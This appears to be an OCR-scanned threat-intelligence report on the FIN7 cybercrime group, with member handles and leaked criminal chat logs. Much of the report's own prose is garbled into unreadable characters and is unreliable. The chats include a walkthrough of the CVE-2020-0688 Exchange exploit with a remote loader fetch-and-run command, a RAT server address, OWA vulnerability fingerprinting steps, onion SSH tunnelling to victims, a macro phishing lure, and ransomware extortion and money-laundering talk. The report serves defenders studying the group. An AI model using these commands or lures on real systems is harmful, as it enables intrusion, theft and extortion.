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T8® ¢A»qAT, "~1T»g»}"-}qeeU 0" -¢cA»TOTqe-"0 »T}-¢te¢U Ag-¢@®»t, -
(TIA-®" «®IE(Te ® —"At»qlA-®7¢ q8®"+ A"t «»®E, §18|t»¢ g7, }¢tg»eU -
»1¢, @ ¢—|-¢-A-t¢ q”, ,»q}A-}t¢o A"qA tq}” §818[t» T eqete —7°

FIN7

TEAM STRUCTURE

MANAGEMENT

‘.G.’ !‘% !‘Q’

Alex Rash aka Corleone Sergey-Oleg
alxchkpntijabberix.com one&protectzoom.com Oxbytelproviajabber.fr

pmnewbsexploit.im
viadikacreep.im

DEVELOPERS PENTESTERS

"Qm 1‘ﬁm Fﬁm Fﬁm & V‘Qg
Kurt Shepard Yar
Vie Zergo BlackCode dervishajabber.ru dali@pi 2 com y C g.pm
L J zet0%=strong.pm

!‘ﬁ‘m fﬁ" (> 4‘% V‘Q‘m V‘Q‘m
Roman liiddd Andre Roland

bdmanTl@jabber.fr Dalhar llldddExabber.de qndley_oki_t]u:ber.ir ,...,.:,ﬁ'.ﬂbb.,_,, Jndot

rol=protectzoom.com

AFFILIATES
.
'&' [ | (- % 'ﬁ' '% &' &'
Brilliant Margan aramis.se ymfj;::m_ﬁ diez Junier Dorlan ASX
é | - é &' | '%_ %
Tranguill Docler Att
Imnmilitrlnglm?omnm doskersjabbentr attathesecurnbiz Ruben fgoed hbenorato Kermit EGIX
att=protectzoom.com

—*E»t&7i STq8E¢ =»+q ' —-RBRqA-®"'q¢ NA»E}AE»t®

"qCUCA 7TR®DTH2e®CC®O0-"2 (T}A-®"¢ }J®A-"Eqe¢cU ¢"®0 tO—-,1T"}1 +»®
|TAOtTT A”»1tqA q}A®»¢ APgA A"t GS& Atq87q, O-¢—-|-¢-AU ®"° 7®AT A
A»q ¢eqAt, uO-A"®EA |»tq ="« A"t ¢¢q s ¢q *Eqet g¢ 8E}  g¢ ,®¢ ¢ — |
el —¢" e®» AT QE,—T T ®e A7—¢ »T ®»A° t1¢Ce»ttT A®q¢ qUCPETLA-®" G
~"+®»89A-®" ® ¢, t}-e}A"»1tqA q}A®»¢°

@ ProDAFT USTA. h ¥ gk

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A Y® AT AL g [T EeT, q¢ 9,.8=¢é—|¢T ,»®@®e [T+®»t ¢Teqt qEA®»-A-T¢°



&7i X 0t-¢t,2 11, ,-0t —"A® "®@A®»-®E; }U|t»)}:

e°c ¢tUuas”"t6q qet»

Jabber(s) Affiliation Position Speciality
ALEX alxchkprt@jabberixcom FINT Leader Tailored Access
pmnewb@exploit.im
“ viadikacresp.im
—

¢AT 18, ¢@Ut»q", ¢tq,T» ®« A"t &7i»®E « ¢TU-¢ q8q¢At»8-",®
»q"¢®80qg»T qAAQ} ¢ ®"}®» ®»qA-®7¢° /"®0" O-A"-" A"f «»®E, q¢ A"t 1!
"t - ®eAT ntete»t, Yaq o UBON®-Gi—2EPT-—"A"T «»®E E¢ .q|[T» ¢®e¢° $1 —
—-"0®¢cOTt, - A"t «»®E E¢ —e¢A»qA-® " q", »q"¢®80qg»t qAAQq} ¢« q”, ,¢
,6q =" q", TUTIEA-® ®« A"ttt ®,t»qA-® ¢° b-A""-¢ tU,t»A-¢t q", T
*®»8—,q|¢t A"»TqA q}A®» O"® ,®¢te qeée—+"—-e}qg A»—¢ A®|E¢-"tTeete q°

rol: +

dali: one more thing! absolutely for no one else

dali: it is FINY

rol: the news is so exaggerated. but in fact... if they knew that a man like Alex in charge...

dali: well, i'm done)

—eE»T ® O0t»¢qA-® q|®EA &7ic¢tq,t»°

REE®O-—"+}® Ot»iqA-—® +»®§ dbdb —",—~}qAte A"qA J®¢q™, g, N"t.g», "qO
¢CtU «®» dUtg»e©

rol: How long have we been working with Alex? Will it be 2 years?

dali: yes it will be 2 years in autumn

—«E»tT @ O0t»¢sqA-® q|®EA &7i¢tq,t»°

@ ProDAFT USTA. i 1 gk

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A Y® AT AL g [T EeT, q¢ 9,.8=¢é—|¢T ,»®@®e [T+®»t ¢Teqt qEA®»-A-T¢°



&7i X" 0t-¢t,a tt, -0t —"A® "®A®»-®E¢ }U|1»}:

e°d Jg¢”2S"tJq ¢®80g»t 6q¢At»8-",

Jabber(s) Affiliation Position Speciality
RASH one@protectzoom.com REwi Leader Tailored Access
“ -
—

U»tO-10-"2A"1t}® Ot»eqh-®" |1¢®0« —AE¢s |T1" ,tAt»8-"1, A"qA A
q¢-q¢ —¢ A"t 8g7qet» ®« N"t,g», q7,I®¢q",° ,,g»T A¢U«dqe” —¢ A7t [ 1»0®
®« A"t Jq ¢®80g»tT ®, t»qA-®"¢°

rol: so are you the black lord?

dali: no

dali: i'm a performer

dali: Rash rules everything

dali: i'm just working)

e E»tNAQATST AL A'QA ¢"@O—"+ A"t ®¢-A-® ®+Jqe” — A"t e»®E

—eEgtt8§® cA»qAte ATqA 1®. ¢t O®» —"e E",t» A"t ¢E t»0-¢—®" ®« Jqe” .
A"+ tUQq}A q8®E"AA"TU tg»"t,®» "®@0 -A - ¢"q»t,q8®"+ A"1t8:,1¢0t¢° $®
A"qA Jag¢”" Ag t¢ At |—eet» -}t ®« A"t -t

dali: Rash takes most of the money.

dali: | don't know how much for us.

rol: motivate me)

rol: how much did they give?

dali: 120

—E»T @ 0t»¢qA-®" q|®EA Jq¢"Ee ,»®eA°

€D ProDAFT USTA. R

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A Y® AT AL g [T EeT, q¢ 9,.8=¢é—|¢T ,»®@®e [T+®»t ¢Teqt qEA®»-A-T¢°



&7i X 0t-¢t,2 11, ,-0t —"A® "®@A®»-®E; }U|t»)}:

R Ot»¢qA-® «—O0thg”®OEATqA q}A®»¢ ,»Tet» E¢—"e6® " T»® Yug6J¥% —"¢
& }g¢t g S ,qUET A —¢ «®-"+A® |T }g»»—-1T, ®REA«A"TUA»U A® Aq Tt }g»T ®
CgE ", t»-—"« A"t »t¢1O0q"A}»U A® §®"1tU |t*®»t"q",°

one: we will pay in the evening ;)

one: in XMR/BTC

one: but if BTC

one: | ask you to wash once or twice for your security

rol: I'll open xmr wallet

one: do you know monero

rol: no problem

—eE» Xt ®e 6@ T»® Y4g6J% «®» ,qUET A°

"®ATT» 1@ 0t»¢qA-®" »1O0tqe¢ AT eq}AATqAC-}t it c®» Ec—"e AT Q¢
®0"t,|UJge”e

rol: Will you share how you accessed the admin panel?:)
dali: | have from different ways

dali: not only Rash isn't trying to survive

dali: he values institution access very much so don't tell him that | asked it from you

rol: | won't:)

rol: Just remermber to send screenshots ;)

rol: | am curious

dali: | don't give access because this locker license is not owned by Rash

—E»T® Ot»¢qA-® q|®EA »q ¢®80q»t ,q"t¢°

@ rPropAarT USTA. k¥ gk

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A Y® AT AL g [T EeT, q¢ 9,.8=¢é—|¢T ,»®@®e [T+®»t ¢Teqt qEA®»-A-T¢°



&7i X 0t-¢t,2 11, ,-0t —"A® "®@A®»-®E; }U|t»)}:

—eE}f"®0¢ q8teeqet »R®R8A'TIES>PATIARR@DEBR®Eq»T¢ q O-}A-8E¢ (A®C
I»t, T"A-qt« O"-}" 81" A-®"¢ A7t Y |¢°1®8 ,®8q-"°S"-¢ O-}A-8-¢ "®0" AG
Jq ¢c®800»16@%}” cf« dFPdD®Cq”, —"@¢A»qAT, A"T AgqretA O-A" A"t -0t~ -7
t|»Eq»U dg«adpdB”t " TU,®¢ct, A7t O-}A-8E¢ }®"¢,T"A-q¢ ,qAg-"qJ O-
|¢® "q8t, $q,,U ¢®-°

one: They brute forced
one: big company.

one: We need to connect.

one: $krb5tgs$23%* USERNAMESinbs.comEMSSQLSve/SUBDOMAIN.jnbs.com:HASH.....PASSWO

RDwn\n¥krb5tes$23%"US AME%inbs.com$MS5QLSvc/SUBDOMAIN.jnbs.com:1433* $HASH...:
PASSWORD

one: Passwords.

one: Giving RAT IP. Saw the bot.

one: 185,154.53.146:800

one: Try to run it guick. check if pass belongs to domain admin

CEnt P OtreqA-0®" q|®EA® T ® A"t J O-¢Jq c®80gnt O—}A-5¢°

cRiiTh,ff+ "B##2 Mi? 2 iBMXi2HfkykyfydfH @D K B[m2@iQm+?22@T "@mM@ MbQK

) rroDAFT USTA ¢b 1 gk

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
AL I®TATTAL YT T Eet, q¢ ,8=¢é—|¢T ,»®@®« [Te®»T ¢Teqt qEA"®@»-A-T¢°



https://caribbeanthreatin.tel/2020/07/la-jamaique-touchee-par-un-ransomware/

&7i X 0t-¢t,2 11, ,-0t —"A® "®@A®»-®E; }U|t»)}:

ece Nt»«tUA=¢teq gNA=2S"f Sq»-tAbgA}"t»

Jabber(s) Affiliation Position Speciality
SERGEY-OLEG Oxbytelprovajabberfr FINT Leader Tailored Access
—

Nt»etUA=gtgq ¢tq,T» O-A"-" AT &7i+»®E, q",-¢ "®O0" +®»"—¢ TU, T»
qlltee ®,T»qA-®7¢° $1 —¢ »tTe , ® ¢—|CT «®» qee—"—"+ Age ¢ A® A7t
"®0" - —«yd”, ®O0t»ett—"e A”t—» TUT}EA-®"° b-A”" "—¢ ¢ .T}-q¢-RT,
i —CCo« Nt»etUA=¢te ,¢qU¢ q}»—A-1q¢ »®¢CT =" A"1 «»®E E¢ ¢E}}Tée
¢®,"—¢A-YqAt,1U|t»qAAQq} ¢ qeq-"¢c A "—+"AOqCtET Ag»etA¢®

Oxbytelprov: here is credentials

seeerega:in 12 hours

Oxbytelprov: these are valid

Oxbytelprov: ok. https:/DOMAIN.com/owa: USERNAME@DOMAIN.com: PASSWORDnhttps:/D
OMAIM.com/owa: USERNAME@DOMAIN.es: PASSWORD

seeerega: got it

—E»tT® O0t»eqA-® q|®EA O-}A-8E¢ }»t,t"A-qt¢e

) rroDAFT USTA ce 1 gk

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A Y® AT AL g [T EeT, q¢ 9,.8=¢é—|¢T ,»®@®e [T+®»t ¢Teqt qEA®»-A-T¢°



&7i X 0t-¢t,2 11, ,-0t —"A® "®@A®»-®E; }U|t»)}:

e°f 1t»0c¢”2S"t tO1¢®, t»

Jabber(s) Affiliation Position Speciality
KURT denvish@joblerru FINT Staff Development
—

(. q»T¢ECA®e qA"®»®Es" -"Ot¢A-2qA-® |UA"T GS& Atq8« -A Oqy¢ ,TA
"®0" q¢d»0cel q,tT01e®,T» «®» A"t "®A®»-®E; &7i*»®E.° -A"E| q-10
E",t» AT E¢ot» 8GO -}" }1® " Ag-"1,q "E§|t» ® ,.qUE®Qq,¢ E¢T, |UA T qf
®E.° 8@ «A'tot et 0qe AYDEAGEIFEL "q¢ |11 Ect. —"q ES|T» ®
"—e"A »®e¢T —"A»E¢-®7¢°

||'l| Dervish Add files via upload bc1978a on Dec 26, 2019 ) 11 commits
M AC-Bot1-x64.ps1 Add files via upload 9 months ago
[ AC-Bot1-x86.ps1 Add files via upload 9 months ago
0 Add files via upload 8 months ago

—E»T chRSE| »T ,®¢-A®»U ®+ A"t t»0c¢”°

e°’g a-t2S”"tagA6q¢cAt»

Jabber(s) Affiliation Position Speciality
VIE Unknown FINT Staff Development
|

a-tqe |[TT71@¢ecq|®»qALPe®»Ag” TUAT ", T, . 1»-®, ®« A-81 q","q¢ }® A»—|
AP A"t ,101¢® .8t A®s Ogq»-®E¢, AR®ET}FA@« AINB:AG it D® g}t »
—¢ A"t Atq8E¢s ,»-8q»U »T§@A+QIKIR (CA®®EY }»E}-q¢ u®¢d g" AT
}a8,q-+"°

) rroDAFT USTA cd 1 gk

&N 1 &6 J2S"—; ®}ESt Aq , —As }®@ At Ag ¢"qee |t , 1181, qc .»®, »—tAg»U g, ,»-O0—Ctet, —"«®@»8qA-
[T ¢EIYTIAT, A®@ g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOTt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A-®" 1q0° &A ¢"q¢¢ [t "®At, A"qAGI= S »®0—,t¢ A"—¢ —"«@»8qA-®" Eq¢ —¢C ql}@»,— "
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A 1@ AT AL YT [T Eet,qe 9.8—¢e—|CT ,»®®« [T+®»1 ¢teq¢ qEA"®»—-A-1¢°
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Jabber(s) Affiliation Position Speciality
ROLAND seeerega@jabberfr FINT Staff Tailored Access
rol@protectzoom.com REwi
LockBit
Darkside
—

Maze

¢q»TeECA® A"t A"»tqA —"Atee—et "}t ¢AE,-t¢ }a»»-1, ®EA|UA"T GS&
A"qgA ®" 1t ®« A”t &7i ,T"AT¢At»e —¢ X »q-"-q " }-A-Rt « O-A” "=} "q8&+t
q¢—gete ¢TTT»Tege »®Ca »®¢Qq7,« (®;E®0;® ®" ,-&t»T A }"qA q,,¢-}q.
8§t,-q ,¢qA®»8¢° q¢t,® A" 10—, 17}t +»®8 .q||t» }® Ot»¢qhA-® ¢« GS
A"qgAJ®¢q ", }®",E}A: JU|t»AqAAQ} ¢ *®» Og»—-®E¢ »q ¢ ®80g»T ,»®0—,1»
—"®»,t» A® —"e¢tA»qAt q",  »®0-, 1t Agq-¢®»t,q}}tce A® AguetAt, — "¢ A-/
»q ¢ ®80g»T O-}A-§¢°

e°i N"t,g» 2S"t Gt At¢At»

Jabber(s) Affiliation Position Speciality
SHEPARD dali@protectzcom.com FINT Staff Tailored Access
REwi
LockBit
Maze
—

¢ Q»T¢ECA ®e At g'qeU¢ —¢ « NRIQqa, 0ot d»IBCpA, « Oqe t7eqet, =" q
TTATEA «®» ¢tU g7, JEL”® &A —¢ E7,1»c A®®, «»®8 A"t »t¢qgAt, ,q¢cA ¢
JIT®, ¢t »te—, T -7 X »q-"71° $»UO"—q« A"t X »q—"—q"}E))»'I‘"}U«—C" §t " A-®"
.qUst"AA® |EUQ ¢q,A®, ,1O-}1°

rol: how will you pay for the laptop

rol: cash dollar? credit card? hryvnia?

dali: Today I'll exchange dollar for hryvnia. What should | do, stores accept hryvnia.

—cE»t &Ot»A-"¢ , ®¢¢qg» }E»»T"}U-"A®"»UO0"-q +®» ¢q,A®, "

) rroDAFT USTA ce 1 gk

&N 1 &6 J2S"—; ®}ESt Aq", —Ag }J@ At A¢ ¢7qece |t ,118%, qe .»® »—TtAg»U g, ,»-O-Ctet, — +®@»§qA-
[T ¢EIYTIAT, A® g»A-}¢t¢ q7, ,»®0-¢-®"¢ A"qA "qOt |t11" ¢A- E¢qAt, -~ A"t t"t»q¢ qAq G»®At}A
qAq G»®AT}A—® 1q0° &A ¢"q¢¢ |t "®AT, A"qAGI= S »®O0—,1¢ A"—¢ —"+@»8qA—®" Eqc —¢C q}}®»,—"»
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A Y® AT AL g [T EeT, q¢ 9,.8=¢é—|¢T ,»®@®e [T+®»t ¢Teqt qEA®»-A-T¢°
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f St}”""=}gq¢ "q¢U¢—¢

S"t &7i*»®E, —¢ "®O0" «®» A"t—-»"-e"¢U ¢® "—¢A-}qAt,q", Ag»eTAt, qgAf
Ot 0-¢¢ E"}®0t» At §TA"®,¢ q7, A®®¢¢ E¢t, |[UA"T &7iAtq8 A® }g»»U @
S"—¢ ="}CE ,t¢ ,TAgq-¢C¢e ® A"t—» —"e»q¢ A»E}AE»t« qAAQq} g»¢t ' qt« J®ESE™
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Oxbytelprov: can you tell me about the exchange exploit in your free time?
seeerega: everything is simple

seeerega: 1. You need to run on Windows (well, or let someone figure out how to do it on Linux, exe i
s used there)

seeerega: python CVE-2020-0688_EXP.py -s https://com/owa -u user@.com -p -c "emd /c calc.exe”
seeerega: -s" path to owa "-u" user "-p" password

seeerega: As soon as we get the launch of loader - 1. upload our loader as powershell to http
seeerega: 2. We need to make a default launch line: iex(http://ip/loader.ps1)

seeerega: obfuscate with string obfuscater(l sent it to Alex with a description)

seeerega: encode result string

seeerega: we get this as result

seeerega: python CV 8_EXPpy -s htt|
wershell.exe - AGEAYQBYAFSAXQBdACcAazBmAH

seeerega: this command is executed on the exchange server through the bug and we get loader on t

he system
Oxbytelprov: thank you
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Simple check for OWA

1. Sending GET request to the address https://Domain/Owa (You can simplify. Make a request
immediately on 3. Step)

2. Analyze the status of an answer. If the redirect (it should be), then we make a GET request there.
If not, then no.

3. Redirect should bring to address "https://domain/owa/auth/logon.aspx". We make a GET request to
this link and analyze the result.

4. As response, HTML page should load.
5. In the page code there will be such an element: <link rel="shortcut icon" href="/owa/
auth/15.0.1395/themes/resources/favicon.ico" type="image/x-icon">

From here we take the version number 15.0.1395 and we look whether it is on the list of vulnerable or
not. Fix everything in the database.
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Commands :

add - Adds domains and accounts, if any, to the database. MX domains are also added. Then OWA’s check
was launched, for now it blocked.

check - Domains check from database for OWA

pentest - Check of accounts for valid. Only for domains that have OWA vulnerability

result - The result of domains with a vulnerable OWA and valid accounts for them

url_check - A simple check of domains specified in the URL format for vulnerable OWA without adding
into database
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rol: about flash drives. we have loads there
rol: well, there will be something today. take it
rol: | wrote on one bot that video, keylogger, etc.
rol: in fact, on the bot without pinning, | turned on the video and that's it
dali: | talked to the gu ..they say be careful. The US is ver ry unhappy about attacks on POS
rol: Sergey wrote to me
rol: when | asked about the client there
rol: does he need a POS
rol: they don't need now. they want access to the datal not to the POS'es

the problem here is that locking corporate companies is one thing, and manipulating natio
ent systems is diffirent thing

rol: ok, back to the client

dali: one more thing! absolutely for no one else

dali: it is FIN7

rol: the news is so exaggerated. but in fact... if they knew that a man like Alex in charge...
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dali: there flash drives were compromised
rol: to hell with that
dali: | mean that everything is bad with Alex
rol: C'mon
rol: they write new software.
rol: and will continue
rol: the problem is that it has been detected 100500 times for a long time
dali: you see, the signatures are already called Fin7)
rol: are you do something for alex or not?

dali: so what to do?

rol: well, he obviously gave tasks for you

dali: yes, i do it slowly
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una fattura per il pagamento

Ciao,

Si prega di pagare la fattura, non abbiamo ancora ricevuto il
pagamento da te.

Se 11 pagamento e gia stato inviato, ignora questa email.
Grazie.
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Documento creato nella
Versione precedente di
Microsoft Office Word

Per visualizzare questo contenuto, fare clic su "Abilita modifica"
dalla barra gialla e quindi fare clic su "Abilita contenuto”
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Failed to open a session for the:
virtual machine wxp.
Kernel driver not installed (re=-1908)

The VirtualBox Linux kernel driver (vboxdrv) is either not

loaded or there is a permission problem with /dev/vboxdrv. Copy oK
Pl all virtualbox-dkms package and L
module by executing

modprabe vboxdry'
asroot
where: suplibOsInit what: 3

VERR_VM_DRIVER_NOT_INSTALLED (-1908) - The support
driver is not instalted. On linux, open returned ENOENT.
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Oxbytelprov: What can you say about Tirion?
seeerega: hello
seeerega: About amenities, of course not as before
seeerega: But | think everything will be fixed during the process
Oxbytelprov: Tell me more details
Oxbyte 1prov: something good, something is not very
Oxbytelprov: It is good that it is not detected - 100%.

seeerega: | he credentials must be kept in a notebook

seeerega: Again, we need a RAT for SOCKS

seeerega: But all this will also be fixed

Oxbytelprov: well, the password database will be

seeerega: Well, slowly, it will all come to the look like MSF/Cobalt))

Oxbytelprov: You can write README in parallel with tests

seeerega: ok
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dali: downloading register

dali: 17MB. 44 ME database. 400 MB database

rol: You know how to use the Cobalt-Strike

dali: compressing

rol: it is better for me to upload 7z exe and compress files without any problem

rol: and also there is a direct button on RAT
rol: zip folder
rol: | am not sure if it really works or not.
dali: ves | know. 88 MB in archive. downloading very slowly
rol: | have been kicked out from RDP in my client

dali: do you think they catch me?
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‘ ssh_admin3@xft6kit4fjsmnzsdt75ejf2spriszgaqpujclwimvfz7gtangi72suad.onion
id_ed25519(ssh_admin) (ssh_port_forward) (ssh_port_forward)
StrictHostKeyChecking=no #Forwarding client's SSH Port from Linux server to our machine

Administrator@127.0.0.1 -p (ssh_port_forward) id_ed25519(prject)
0.0.1:(local_port_socks5proxy) -C StrictHostKeyChecking=n onnecting to client and
local port on our machine wit roxy to local net k of a client

inistrator@127.0.0.1 -p (ssh_port_ | id_ed25519(prject) o StrictHostK
ion to client to obtain a Ch with the rigk of the user that was
during inection

P (ssh_port_forward) id_ed25519(prject) Administrator@l27.0.0.1 #Connection to client for
file transfer
-P 3722 -i id_ed25519(ssh_admin)

ssh_admin3@xft6kitdfjsmnzsdt75ejf2spriszgagpujclwimvfz7gtangi72suad.onion #Connection to Linux
server to exc ge files with all clients

—+E»t Bf qet8t"A}®88q",¢ ®« A"t NN$SA|qet, [} ,®@®»°

E»A"t»8®»t« A"t '»®E, §T8|T»e ®e &7 Eet At »te®" T AR®C «®» ,®
@Cte +»®8 A7t O-1A-8E¢ ¢ U AT8 A® }J¢®E, ¢ A®»qet ¢E}” q¢ 61T°q° R q7,
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[azure]

type = azureblob
account = data2sync2
key =

[remote]
type = mega
user

ass
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»TO-®E¢¢U sqA"t»1,°S"1¢t 1@ Ot»eqh-®"¢ "qOtT »®0-,1t,qO0TqtA” ®:
-"A® A"t q}A-®7"¢ q°, §®A-0qgA-®@"¢ ®+ A"t &7i A’»1tqA q}A®»¢° U }
~ e ®»8qA-® "« A"t GS& Atq8 "q¢ |[TT ql¢t A® q}}E»qAteU —, t"A--U A"t
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dali: are you here?

rol: yes

rol: why 157 he said 20

rol: REVIL))

rol: i understand

dali: who did you think?)

rol: comsa

dali: | just saw that they paid

rol: well we didn't steal covid1? data

dali: we are not alone here

dali: | know another team

rol: yep, they got the commission

dali: how many there are - | don't know.
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A"t 1®8,q°U ,qAq® A"t—-» ¢—At «®» E|¢t-}q}}tee O-SK-gq- -, t@k "q&t°

[ttt ,TAT}AT, - A"T—» ,—q¢®<Et¢ ,Et A® A"t - Ot¢A-+qA-® " ¢t, |U®E»Qq~

ctAA-"¢ A"t O-}A-8E¢ e¢t¢ —¢¢teqte¢U« A”TU q¢e® t7}»U AT, A7t e¢t¢ q)
rol: is FARQ is done?)

dali: http://dnpscnbaixénlowvystl3yxglz 7nteicgroudt75tpec5532cztcdbgyd.onion/posts/5¢

dali: we made a post. after that there were 2 visits but they are silent. we believe in the best. but you
understand)

rol: yeah i dont hope anymore. before i believed. now | don't believe))

rol: "If FARO Technologies doesn't get in touch with us, then there will be more interesting publicati
ons. We are also negotiating about selling the most interesting data.”

rol: are they bluffing??

dali: well, no one to sell ;) there is a lot of downloaded data
rol: https:/f'www.equities.com/news/faro-technologies-inc-faro-soars-1-96-on-may-20
rol: | wonder if there will be changes

dali: i don't know

operators-hacked-the-server-of-faro-tec

dali: they communicate with them. found their head office

rol: wow. chances are growing

dali: yes. let's see

rol: do you encrypt them?:)

dali: starting now
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dali: we called FARO
dali: the situation is not understood

dali: the woman at the reception picked up the phone. she tried to call the manager or the security d
epartment, but it didn’t work

dali: probably they don't pay attention or the administration hides the leak from managers

dali: today they will be calling UK

rol: files appear on computers right?

rol: does the RAT still exist?

rol: how are the locker's tests going?

dali: today we have set in the new locker

dali: that's normal

dali: the locker is fast

dali: and clusterstorage is blocking

e E»t I® Ot»eqA-® q|@EAAT —"}— 1 A ®s J=St}"" @¢®e—1¢°
& ,»-C« dbdb« q *»®E, ®+ J O-¢ q86qOQAF@ & AHAG}qT, §q q-T, A®

»T}tT-01T q»q ¢®8 +»®8 A"—¢ O-1A-8« O0"-}" Oq¢ gr»®E, d°p-§+14 —® 00206
—e}e®et, —" A"t &Tie»®E, ,—qt®<Et¢°

dali: this group asks companies for millions

dali: | spoke with one pentester, travelex 3kk
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dali: look

dali: "You are REvil?"
dali: "name.surname@company.com”

dali: "l am not trying to bullshit you. Its just that these guys are not that affected by the loss of the d
ata)

dali: we - "Then why you are here?"
dali: they - | ma here to see if there is a way to get this done.'

dali: we - "We are waiting for a serious offer from you if vou want to receive some additional discou
nt.

dali: they - "if you guys are the REvil guys, | have dealt with you from the beginning”

he conditions will not change.”

dali: they - "If $50K is not serious, then that is it. | know these guys aren't going to pay more and | wil
| still have to have them approve that.'

dali: they - "Perhaps we will have better luck next time. This is the best | can do on this one.”

dali: we - "Well, wish them a successful recovery.”

dali: they - "Also, what is the deal with the $500K with Sodin?"

dali: here is the dialogue on lockbit
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computer.com/news/security/darkside-new-targeted-ransomware-

seeerega: well, you understand

seeerega: since September, everyone will return from vacation and we will start working
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dali: money for the locker is paid
rol: congratulations
dali: 25% to locker and 20% for network access
dali: Rash takes most of the money.
dali: | don't know how much for us.
rol: motivate me)
rol: how much did they give?
_E»t GS@EA »®§Jq .@®80q»T
dali: 75 for locker
dali: 225 will be left
dali: also 25% is for the network
dal: and | think that 68 is yours
rol: It would have been perfect.
rol: just less than 70
rol: Rash has told me that the salary would be paid il gets the 70.
—+E»T Gh»®eA »®8Jq c®80qg»t°
@ rPropAarT USTA. fc 9 gk

&N 1 &6 JaS"—; ,®}E&T A q",
[t ¢cE|YTIAT, A®@ g»A-}¢te q7,

—A Y@ At Ay ¢7qee |t ,TT8T,ge ,»®,»—TAg»U q", ,»—0—-Ctet, —"e®»8qA-
»>®0—-¢-®" ¢ A"qA"qOT |t  ¢A- E¢qgAt, -" A"t t°t»q¢ qAgq G»®AT}A

qAq G»®ATIA-® 1q0° &A ¢"q¢¢ |t "®At, A"qA GI= S »®0-,1t¢ A"—¢ -+ ®»8qA-®" £q¢ -¢Cqll@®»,—"
qg'Uc¢teqec¢Uq,,¢-}q|¢T Ogr»q AU »teg»,—"*}®8 ¢tAT T¢¢ ®» q}}E»qlU ®« A"1 }® AT As° S"T»te®» T«
A 1@ AT AL 3a [T Eet, d¢ 4,8-¢e—|¢T ,»@@¢ [T+®»t ¢Teq¢ qEA"®@»-A-T¢®



